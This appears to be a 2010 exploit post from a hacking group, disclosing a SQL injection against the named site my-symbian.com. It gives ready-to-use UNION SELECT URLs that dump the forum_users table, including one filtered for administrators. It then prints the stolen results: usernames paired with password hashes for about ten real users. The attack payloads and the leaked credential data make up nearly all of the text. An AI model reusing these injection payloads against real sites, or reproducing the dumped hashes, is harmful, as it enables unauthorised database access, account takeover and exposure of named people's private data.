My-Symbian.com SQL Injection

[imported_D4nt3]

######################################################################################
# Author/s: Dante90, WaRWolFz Crew                                                   #
# Target: http://www.my-symbian.com/                                                 #
# Web: www.warwolfz.org                                                              #
# Vulnerability: SQL Injection                                                       #
######################################################################################

http://www.my-symbian.com/uiq/software/category.php?fldAuto=-40 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT_WS(CHAR(32,58,32),user_id,username,user_password,user_email),10 FROM forum_users LIMIT 1,10--

8


Click here for a list of compatible phone models


2 : Michal Jerz : 5561a6f6c20bd82dcd032b6cd2fe91fc : [email protected]
10 User rating: 0%

3...
3 : Rafe : 662a47854aa862be84537e75ea861f02 : [email protected]
10 User rating: 0%

3...
4 : autorus : 8a32ac7ecf36dd0016f106b481f99d6c : [email protected]
10 User rating: 0%

3...
5 : MirekCz : 648cb0fbe796636130c53fe69f92fddf : [email protected]
10 User rating: 0%

3...
6 : maccis : 07317da711a4c92ec91a6136c856d755 : [email protected]
10 User rating: 0%

3...
7 : TimGuyUK : 89cf5ee60e5e4171ab0056abca46fce0 : [email protected]
10 User rating: 0%

3...
8 : Kylom : aebe79a00a0e81dc288034f271d27a13 : [email protected]
10 User rating: 0%

3...
9 : WirelessWarrior : 92912dd8c8156a0bf0aaad726e024095 : [email protected]
10 User rating: 0%

3...
10 : wkharposh : 3683af9d6f6c06acee72992f2977f67e : [email protected]
10 User rating: 0%

3...
11 : raid : 3c2234a7ce973bc1700e0c743d6a819c : [email protected]
10 User rating: 0%

3...

http://www.my-symbian.com/uiq/software/category.php?fldAuto=-40 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT_WS(CHAR(32,58,32),user_id,username,user_password,user_email,user_level),10 FROM forum_users WHERE user_level=1--

8


Click here for a list of compatible phone models


2 : Michal Jerz : 5561a6f6c20bd82dcd032b6cd2fe91fc : [email protected] : 1
10 User rating: 0%

3...

Dante90

#WaRWolFz 2010.05.12